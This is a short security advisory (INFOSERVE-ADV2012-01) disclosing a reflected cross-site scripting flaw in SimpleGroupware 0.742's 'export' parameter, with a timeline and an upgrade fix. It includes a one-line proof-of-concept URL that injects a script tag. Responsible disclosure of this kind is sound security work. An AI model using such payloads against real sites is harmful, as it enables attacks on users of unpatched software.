SimpleGroupware 0.742 Cross-Site-Scripting vulnerability

From: security@infoserve.de
To: bugtraq@securityfocus.com
Cc:
Subject: SimpleGroupware 0.742 Cross-Site-Scripting vulnerability
Date:


Advisory:               SimpleGroupware 0.742 Cross-Site-Scripting vulnerability
Advisory ID:               INFOSERVE-ADV2012-01
Author:                        Stefan Schurtz
Contact:             security@infoserve.de
Affected Software:    Successfully tested on SimpleGroupware 0.742
Vendor URL:            http://www.simple-groupware.de/
Vendor Status:              fixed (see Changelog)

==========================
Vulnerability Description
==========================

SimpleGroupware 0.742 'export' parameter XSS vulnerability

==================
PoC-Exploit
==================

http://[target]/SimpleGroupware_0.742/bin/index.php?export=<ScRiPt >alert('xss')</ScRiPt>

=========
Solution
=========

Upgrade to the latest Version 0.743

====================
Disclosure Timeline
====================

01-Feb-2012 - informed vendor
02-Feb-2012 - fixed by vendor

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2012-01.txt





Copyright © 1995-2019 LinuxRocket.net. All rights reserved.